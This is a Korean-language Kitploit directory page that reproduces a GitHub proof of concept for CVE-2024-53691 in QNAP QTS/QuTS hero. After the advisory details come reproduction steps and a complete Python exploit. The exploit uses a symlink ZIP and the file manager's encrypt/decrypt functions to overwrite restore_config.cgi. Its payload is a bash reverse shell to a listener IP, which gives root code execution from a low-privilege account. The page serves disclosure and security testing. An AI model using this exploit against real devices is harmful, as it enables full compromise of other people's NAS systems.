Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-53691 — CVE-2024-53691 | Kitploit
도구/GitHubGitHub/c411e/cve-2024-53691
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubc411e/cve-2024-53691

CVE-2024-53691

CVE-2024-53691

저장소 보기
1531년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-53691

  • https://www.qnap.com/en/security-advisory/qsa-24-28
  • https://www.cve.org/CVERecord?id=CVE-2024-53691
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.7)

"악용될 경우, 링크 추적 취약점으로 인해 사용자 접근 권한을 획득한 원격 공격자가 파일 시스템을 탐색하여 의도하지 않은 위치에 도달할 수 있습니다."

발견일: 2024년 4월 22일
수정일: 2024년 9월 7일
영향을 받는 버전: QTS 5.1.x, QuTS hero h5.1.x
수정된 버전: QTS 5.2.0.2802 build 20240620 이상, QuTS hero h5.2.0.2802 build 20240620 이상
접근 권한: 파일 업로드 권한이 있는 일반 사용자

요약:
ZIP 파일을 통해 심볼릭 링크를 업로드하고 암호화/복호화 기능을 악용하여 임의 파일 쓰기 기본 요소를 얻은 후, 이를 원격 코드 실행으로 전환할 수 있습니다.
일반 사용자 권한을 가진 공격자는 이 취약점을 악용하여 루트 사용자로 코드 실행 권한을 획득하고 시스템을 완전히 장악할 수 있습니다.

재현 단계

  1. 심볼릭 링크를 생성하고 ZIP 파일에 넣습니다. 심볼릭 링크 대상은 덮어쓸 파일을 지정합니다. 원격 코드 실행을 위해 /home/httpd/cgi-bin/restore_config.cgi를 선택했습니다.

    root@kitploit:~
    ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
    zip --symlink pwn.zip link.txt
    
  2. payload.txt에 실행할 셸 명령을 작성합니다. 예제에서는 표준 bash 리버스 셸을 사용합니다. 리스너 IP와 포트를 조정하는 것을 잊지 마세요.

    root@kitploit:~
    #!/bin/sh
    bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
    . /home/httpd/cgi-bin/json_output
    output_http_header
    output_header
    output_save_restore
    output_tail
    
  3. 낮은 권한의 사용자로 로그인합니다.

  4. 웹 인터페이스를 통해 ZIP 파일을 업로드합니다.

  5. ZIP 파일을 마우스 오른쪽 버튼으로 클릭하고 *Extract to /pwn/*을 선택하여 압축을 풉니다.

  6. payload.txt를 /pwn/payload.txt에 업로드합니다.

    업로드된 파일

  7. payload.txt를 마우스 오른쪽 버튼으로 클릭하고 Encrypt를 선택한 후 *Do you want to encrypt and replace the original file?*을 Yes로 설정하여 암호화합니다.

  8. 파일 payload.txt.qenc를 마우스 오른쪽 버튼으로 클릭하고 Rename을 선택하여 link.txt.qenc로 이름을 변경합니다.

  9. 파일 link.txt.qenc를 마우스 오른쪽 버튼으로 클릭하고 Decrypt를 선택한 후 Mode를 Overwrite로 설정하여 복호화합니다.

  10. 리버스 셸 리스너를 시작합니다.

    root@kitploit:~
    nc -nvlp 4444
    
  11. 브라우저에서 /cgi-bin/restore_config.cgi 엔드포인트를 열어 리버스 셸 실행을 트리거합니다.

    관리자 권한 리버스 셸

개념 증명

다음 Python 스크립트를 사용하여 취약점을 악용할 수 있습니다.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('creating zip file')
    os.system("""
        rm -f link.txt pwn.zip payload.txt
        ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
        zip --symlink pwn.zip link.txt
    """)

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


    time.sleep(5)

    print('uploading payload file')
    upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))

    print('encrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('renaming payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] in (1, 2)

    print('decrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    time.sleep(1)
    print('executing payload') 
    session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
도구 다운로드